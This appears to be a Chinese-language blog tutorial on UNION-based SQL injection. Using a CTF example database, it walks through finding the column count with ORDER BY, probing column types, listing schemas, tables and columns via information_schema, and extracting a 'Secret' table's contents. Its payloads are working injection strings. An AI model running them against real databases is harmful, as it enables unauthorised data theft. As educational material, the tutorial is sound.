SQL 语法中,有个 UNION 的关键字,可以使用它执行多个 SELECT
SELECT a FROM table1 UNION SELECT b FROM table2
由於 UNION 是将资料联集起来,需要满足两个条件才能使用
参考资料:https://www.jianshu.com/p/7436b10ceb71
SELECT
了三个栏位 (分别为 id
、account
、password
)SELECT
三个栏位,所以当骇客测试到 ORDER BY 4
就会回报错,骇客就可以得知原语法只有三个栏位<原SQL语法> ORDER BY 1;
<原SQL语法> ORDER BY 2;
<原SQL语法> ORDER BY 3;
<原SQL语法> ORDER BY 4;
SELECT
三个栏位有3个,但是骇客不知道资料库每个栏位的资料类型 (大致可分为数字或字元)SELECT 'a', NULL, NULL
指令中会显示错误<原SQL语法> UNION SELECT 'a', NULL, NULL
<原SQL语法> UNION SELECT NULL, 'a', NULL
<原SQL语法> UNION SELECT NULL, NULL, 'a'
得知栏位数量、栏位类型,我们已经可以开始窃取资料。假设原 SQL 语法如下:
SELECT `id`, `name`
FROM `User`
WHERE `id` = {id};
SELECT
的栏位数量为 2
name
的资料则此时我们便可以构建 SQL 语法,使得想窃取的资料与 name
栏位联集,例如:
SELECT `id`, `name`
FROM `User`
WHERE `id` = 0
UNION SELECT NULL, `content`
FROM `Secret`;
然而我们还需知道资料库中的结构(准确的说,是需要知道名称,如上例中的 Secret
、 content
),方能构建正确的 SQL 语法。
在 MySQL / MariaDB 中,预设会有一个 database 储存资料库的 schema 资料,称为 information_schema
。其中:
information_schema.schemata
:可以抓取 database 的名称。以下图为例,可以发现有 CTF
这个 database。
<原SQL语法>
UNION SELECT NULL, `SCHEMA_NAME`
FROM `information_schema`.`schemata`;
information_schema.tables
:此 table 中,储存了各个资料库的 table 资讯,因此可以从中抓 table 的名称。此例用 WHERE
TABLE_SCHEMA= 'CTF'
来筛选 database 为 CTF
的 table,可以发现有 User
和 Secret
两个 tables。
<原SQL语法>
UNION SELECT NULL, `TABLE_NAME`
FROM `information_schema`.`tables`
WHERE `TABLE_SCHEMA` = 'CTF';
information_schema.columns
:可以抓取 column 的名称。此例沿用上例中发现的 Secret
Table 进行筛选,可以发现有 content
这个栏位。
<原SQL语法>
UNION SELECT NULL, `COLUMN_NAME`
FROM `information_schema`.`columns`
WHERE `TABLE_SCHEMA` = 'CTF'
AND `TABLE_NAME` = 'Secret';
有了上述资料,便可以了解资料库中的结构,接着便可以利用 UNION 来将任意资料窃取出来。
<原SQL语法>
UNION SELECT NULL, `content`
FROM `Secret`;
<<: D24 - 如何用 Apps Script 自动化地创造与客制 Google Sheet?(ㄧ)自动化创造图表并放到报告中
当一个大型程序交由数个不同专员开发时,用到相同的类别名称是很有可能的,当这种情况发生时,为了确保程序...
变数(Variable)在JavaScript语言中扮演了重要的资料存放角色。JavaScript变...
天亮了 昨晚是平安夜 关於迷雾森林故事 大风大浪 画面恢复正常後 大家打理着全身湿透的毛 甩了甩头 ...
好的今天要开始来底霸个了QQ 昨天发生了第一个问题看一个实在是问号 昨天看了error code大概...
CMoney的日子在周五画上了休止符,尽管最後一个多月的时间遇到了防疫升级,采线上的方式进行,甚至和...